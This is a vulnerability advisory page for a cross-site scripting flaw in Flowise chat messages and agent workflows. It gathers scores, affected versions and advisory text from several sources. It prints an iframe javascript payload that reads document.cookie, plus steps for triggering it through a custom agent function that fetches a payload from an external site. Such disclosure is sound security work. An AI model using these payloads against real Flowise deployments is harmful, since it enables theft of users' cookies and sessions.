5.1medium
Flowise - Cross-Site Scripting in Chat Messages and Agent Workflows
- Severity
- 5.1medium CVSS:4.0 by VulnCheck
- Exploit likelihood
- 0.20% (higher than 10% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- VulnCheck
- Also known as
- GHSA-4fr9-3x69-36wv
Description
Flowise before 3.0.8 contains a cross-site scripting (XSS) vulnerability caused by insufficient input filtering in chat messages and custom agent functions. An attacker can inject malicious JavaScript by sending an iframe payload (e.g., <iframe src="javascript:alert(document.cookie)">) in a chat box, or by having a custom agent function return an XSS payload from an external website. The injected script executes in the victim's browser, enabling theft of cookies and session data.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| Flowise Flowise | before 3.0.8 Not affected: 3.0.8 | CVE List |
| flowise (npm) | before 3.0.8 | GitHub Advisory Database |
| flowiseai flowise | before 3.0.8 | NVD |
All scores
| VulnCheck | 5.1medium CVSS:4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N |
| VulnCheck | 6.1medium CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N |
| GitHub | medium CVSS:4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N |
Classification
What each source says
CVE List
Flowise before 3.0.8 contains a cross-site scripting (XSS) vulnerability caused by insufficient input filtering in chat messages and custom agent functions. An attacker can inject malicious JavaScript by sending an iframe payload (e.g., <iframe src="javascript:alert(document.cookie)">) in a chat box, or by having a custom agent function return an XSS payload from an external website. The injected script executes in the victim's browser, enabling theft of cookies and session data.
GitHub Advisory Database
Summary
A XSS(cross-site scripting) vulnerability is caused by insufficient filtering of input by web applications. Attackers can leverage this XSS vulnerability to inject malicious script code (HTML code or client-side Javascript code) into web pages, and when users browse these web pages, the malicious code will be executed, and the victims may be vulnerable to various attacks such as cookie data theft, etc.
Details
- Send a Message
<iframe src="javascript:alert(document.cookie);">from User in a chat box: image
Trigger in other ways:
-
Create a Agentflow in cloud platform (https://cloud.flowiseai.com/agentflows)
-
Create a Custom function as an example, use the below example code.
const fetch = require('node-fetch');
const url = 'https://external.website';
const options = {
method: 'GET',
headers: {
'Content-Type': 'application/json'
}
};
try {
const response = await fetch(url, options);
const text = await response.text();
return text;
} catch (error) {
console.error(error);
return '';
}
-
The external website (https://external.website) return a XSS payload as content.
image -
The javascript code is executed and the victim's cookie data is sent to the external website.
image
PoC
<iframe src="javascript:alert(document.cookie);">
Impact
it is critical XSS vulnerability. All users of Flowise platform that use the workflows of agents.
NVD (es)
Flowise en versiones anteriores a la 3.0.8 contiene una vulnerabilidad de Cross-site Scripting (XSS) causada por un filtrado de entrada insuficiente en mensajes de chat y funciones de agente personalizadas. Un atacante puede inyectar JavaScript malicioso enviando una carga útil de iframe (por ejemplo, [iframe_tag]) en un cuadro de chat, o haciendo que una función de agente personalizada devuelva una carga útil de XSS desde un sitio web externo. El script inyectado se ejecuta en el navegador de la víctima, lo que permite el robo de cookies y datos de sesión.
References
| https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-4fr9-3x69-36wv | exploit, vendor-advisory, web | |
| https://www.vulncheck.com/advisories/flowise-cross-site-scripting-in-chat-messages-and-agent-workflows | third-party-advisory | |
| https://github.com/FlowiseAI/Flowise | package | |
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2025-71331 changed 2026-11-08 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-4fr9-3x69-36wv changed 2026-07-08 | CC-BY-4.0 |
| NVD | CVE-2025-71331 changed 2026-10-19 | Public domain |